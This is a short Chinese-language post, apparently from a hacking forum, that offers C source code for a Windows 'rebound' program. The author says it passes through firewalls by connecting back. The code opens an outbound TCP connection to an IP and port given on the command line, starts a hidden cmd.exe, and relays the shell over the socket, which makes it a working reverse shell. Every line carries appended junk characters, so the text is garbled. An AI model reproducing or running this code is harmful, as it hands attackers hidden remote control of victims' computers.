这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lX/:e=
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/* ============================== ].
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Rebound port in Windows NT hFMT@Gy
By wind,2006/7 J
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===============================*/ ^ wb 9 n
#include BQL](Y"
#include GU7f27p
495A\8#
#pragma comment(lib,"wsock32.lib") Y InPmR
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void OutputShell(); a\tv,Lx
SOCKET sClient; E^? 3P'%^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L16">,5
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void main(int argc,char **argv) }xpo@(e
{ Ti$_V_
WSADATA stWsaData; XvI Y=~
int nRet; <`d;>r=4z
SOCKADDR_IN stSaiClient,stSaiServer; ?JMy
f[-$##S.~
if(argc != 3) 2q ~y\fe
{ Zqj EVVB
printf("Useage:\n\rRebound DestIP DestPort\n"); /7igPNhx
return; :I8HRkp
} [U_
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WSAStartup(MAKEWORD(2,2),&stWsaData); C=&;4In
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w3jcit|
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stSaiClient.sin_family = AF_INET; l09DH+
stSaiClient.sin_port = htons(0); i/RA/q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WB3YN+Xl3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g[(Eh?]Sc
{ *Qy,?2
printf("Bind Socket Failed!\n"); rkn'1M&u
return; N `[ ?db-%
} k:#u%Z
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stSaiServer.sin_family = AF_INET; kHd`k.nW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :5_394v
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t>h:s3c
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dWiX_&g
{ N1Dr'aw*
printf("Connect Error!"); R})b%y`]
return; ;nAI;Qw L
} Zx)gLDd
OutputShell(); }X~"RQf9
} fT.MglJcb
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void OutputShell() F[*/D/y(
{ S#nW )=
char szBuff[1024]; B!((N{4H+
SECURITY_ATTRIBUTES stSecurityAttributes; "mc ]^O
OSVERSIONINFO stOsversionInfo; o8fY!C)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }A&I@2d
STARTUPINFO stStartupInfo; %PC8}++
char *szShell; nIGElt]
PROCESS_INFORMATION stProcessInformation; G{gc]7\=Cd
unsigned long lBytesRead; _&aPF/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 96i#
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |>KOlwh5n
stSecurityAttributes.lpSecurityDescriptor = 0; ,PeE'$q
stSecurityAttributes.bInheritHandle = TRUE; </D )i
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TNlOj a:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .,\^{.E
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @4=Az1W*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {!^0j{T
stStartupInfo.wShowWindow = SW_HIDE; *M'/z=V?%
stStartupInfo.hStdInput = hReadPipe; HNd? '
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;e$YM;;d
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GetVersionEx(&stOsversionInfo); vr }-u
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switch(stOsversionInfo.dwPlatformId) #@J{ )
{ $'3'[Nr(;t
case 1: N5.kDT
szShell = "command.com"; BH0s` K"
break; vsJM[$RF
default: 7sU,<Z/D
szShell = "cmd.exe"; {Mc;B9W
break; j+("4b'
} lr ]C'dD
#wp~lW9!s9
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'cA(-ghY/E
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send(sClient,szMsg,77,0); Rd[^)q4d$w
while(1) rp=Y }
{ w%- S5#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h!?rk|
if(lBytesRead) r9n:[A&HE
{ -Eoq#ULvR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L| ;WE=
send(sClient,szBuff,lBytesRead,0); eIQ@){lJ-]
} eU\XAN#@
else *z&hXYm
{
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lBytesRead=recv(sClient,szBuff,1024,0); .mplML0oW
if(lBytesRead<=0) break; m]Mm(7v(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); " -S@R=bi
} v^B2etiX_
} ^O,r8K{1n
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return; &Qq|
}